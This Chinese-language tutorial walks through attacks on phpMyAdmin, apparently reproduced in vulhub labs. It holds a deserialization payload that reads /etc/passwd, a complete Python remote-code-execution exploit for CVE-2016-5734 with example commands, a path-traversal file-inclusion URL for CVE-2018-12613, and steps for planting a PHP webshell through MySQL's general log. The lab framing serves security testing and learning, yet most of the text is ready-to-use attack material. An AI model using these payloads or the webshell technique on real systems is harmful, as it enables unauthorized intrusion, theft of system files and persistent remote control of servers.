phpmyadmin介绍
phpmyadmin是一个以php为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可以使用Web接口管理MySQL数据库。借由次Web接口可以成为一个简单方式输入SQL语法的较佳途径。其优势就是可以通过Web界面来远程管理方便建立、修改、删除数据库及资料表
phpmyadmin安全测试流程:
- 确认phpmyadmin的后台
- 确定版本,信息搜集
- 漏洞利用
实例1 WooYun-2016-199433 -phpmyadmin-反序列化-getshell
漏洞搭建
https://github.com/vulhub/vulhub/tree/master/phpmyadmin/WooYun-2016-199433
利用条件
phpmyadmin 2.x版本中存在一处反序列化漏洞,通过该漏洞,攻击者可以读取任意文件或执行任意代码。
phpmyadmin 2.x
需要登录
搭建过程
docker-compose build
docker-compose up -d
使用完成之后:docker-compose down
更多命令参考:https://www.cnblogs.com/moxiaoan/p/9299404.html
测试过程
路径:/scripts/setup.php
Exp: 读取账户信息
action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}
POST /scripts/setup.php HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: phpMyAdmin=jLXDJCOG0b8ynd3gpCVHrqL-3dc
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 82
action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}
实例2 CVE-2016-5734远程代码执行
影响版本
4.0.10.16之前4.0.x版本
4.4.15.7之前4.4.x版本
4.6.3之前4.6.x版本
php版本: 4.3.0 ~5.4.6
php 5.0 版本以上的将 preg_replace 的 /e修饰符给废弃掉了
漏洞的原理
preg_replace漏洞触发有两个前提:
01:第一个参数需要e标识符,有了它可以执行第二个参数的命令
02:第一个参数需要在第三个参数中的中有匹配,不然echo会返回第三个参数而不执行命令。
背景知识
preg_replace 函数执行一个正则表达式的搜索和替换
在PHP5.4.7以前,preg_replace的第一个参数可以利用\0进行截断,并将正则模式修改为e。众所周知,e模式的正则支持执行代码,此时将可构造一个任意代码执行漏洞
利用poc
#!/usr/bin/env python
"""cve-2016-5734.py: PhpMyAdmin 4.3.0 - 4.6.2 authorized user RCE exploit
Details: Working only at PHP 4.3.0-5.4.6 versions, because of regex break with null byte fixed in PHP 5.4.7.
CVE: CVE-2016-5734
Author: https://twitter.com/iamsecurity
run: ./cve-2016-5734.py -u root --pwd="" http://localhost/pma -c "system('ls -lua');"
"""
import requests
import argparse
import sys
__author__ = "@iamsecurity"
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument("url", type=str, help="URL with path to PMA")
parser.add_argument("-c", "--cmd", type=str, help="PHP command(s) to eval()")
parser.add_argument("-u", "--user", required=True, type=str, help="Valid PMA user")
parser.add_argument("-p", "--pwd", required=True, type=str, help="Password for valid PMA user")
parser.add_argument("-d", "--dbs", type=str, help="Existing database at a server")
parser.add_argument("-T", "--table", type=str, help="Custom table name for exploit.")
arguments = parser.parse_args()
url_to_pma = arguments.url
uname = arguments.user
upass = arguments.pwd
if arguments.dbs:
db = arguments.dbs
else:
db = "test"
token = False
custom_table = False
if arguments.table:
custom_table = True
table = arguments.table
else:
table = "prgpwn"
if arguments.cmd:
payload = arguments.cmd
else:
payload = "system('uname -a');"
size = 32
s = requests.Session()
# you can manually add proxy support it's very simple ;)
# s.proxies = {'http': "127.0.0.1:8080", 'https': "127.0.0.1:8080"}
s.verify = False
sql = '''CREATE TABLE `{0}` (
`first` varchar(10) CHARACTER SET utf8 NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
INSERT INTO `{0}` (`first`) VALUES (UNHEX('302F6500'));
'''.format(table)
# get_token
resp = s.post(url_to_pma + "/?lang=en", dict(
pma_username=uname,
pma_password=upass
))
if resp.status_code is 200:
token_place = resp.text.find("token=") + 6
token = resp.text[token_place:token_place + 32]
if token is False:
print("Cannot get valid authorization token.")
sys.exit(1)
if custom_table is False:
data = {
"is_js_confirmed": "0",
"db": db,
"token": token,
"pos": "0",
"sql_query": sql,
"sql_delimiter": ";",
"show_query": "0",
"fk_checks": "0",
"SQL": "Go",
"ajax_request": "true",
"ajax_page_request": "true",
}
resp = s.post(url_to_pma + "/import.php", data, cookies=requests.utils.dict_from_cookiejar(s.cookies))
if resp.status_code == 200:
if "success" in resp.json():
if resp.json()["success"] is False:
first = resp.json()["error"][resp.json()["error"].find("<code>")+6:]
error = first[:first.find("</code>")]
if "already exists" in error:
print(error)
else:
print("ERROR: " + error)
sys.exit(1)
# build exploit
exploit = {
"db": db,
"table": table,
"token": token,
"goto": "sql.php",
"find": "0/e\0",
"replaceWith": payload,
"columnIndex": "0",
"useRegex": "on",
"submit": "Go",
"ajax_request": "true"
}
resp = s.post(
url_to_pma + "/tbl_find_replace.php", exploit, cookies=requests.utils.dict_from_cookiejar(s.cookies)
)
if resp.status_code == 200:
result = resp.json()["message"][resp.json()["message"].find("</a>")+8:]
if len(result):
print("result: " + result)
sys.exit(0)
print(
"Exploit failed!\n"
"Try to manually set exploit parameters like --table, --database and --token.\n"
"Remember that servers with PHP version greater than 5.4.6"
" is not exploitable, because of warning about null byte in regexp"
)
sys.exit(1)
使用方法:
python3 cve-2016-5734_exp.py -u root -p "root" http://127.0.0.1:8080/ -c "system('cat /etc/passwd')"
python3 cve-2016-5734_exp.py -u root -p "root" http://127.0.0.1:8080/ -c "system('whoami')"
实例3 CVE-2018-12613 PhpMyadmin后台文件包含
影响版本
phpMyAdmin 4.8.0和4.8.1
漏洞描述
https://blog.csdn.net/weixin_43872099/article/details/104128639
利用过程(在vulhub中无法复现)
show GLOBAL VARIABLES LIKE "%datadir"
/var/lib/mysql/
Use test;
CREATE TABLE a(code varchar(100));
INSERT INTO a(code) VALUES ("<?php phpinfo();?>");
漏洞利用poc
/index.php?target=db_sql.php%253f/../../../Mysql/data/test/a/a.MYD
利用方式 vulhub
http://127.0.0.1:8080/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
phpmyadmin 写入一句话木马
通过日志写入一句话
要求:
Windows主机
已知后台
- 查看日志的状态
SHOW VARIABLES LIKE '%general%'
默认是关闭的所以先将 general_log 设置为on,执行set global general_log=on;
-
修改log文件的名称和位置
set global general_log_file='C:/phpstudy/www/one.php';
- 验证文件是否存在
SELECT '<?php assert($_POST["test"]); ?>'
最后使用菜刀进行连接。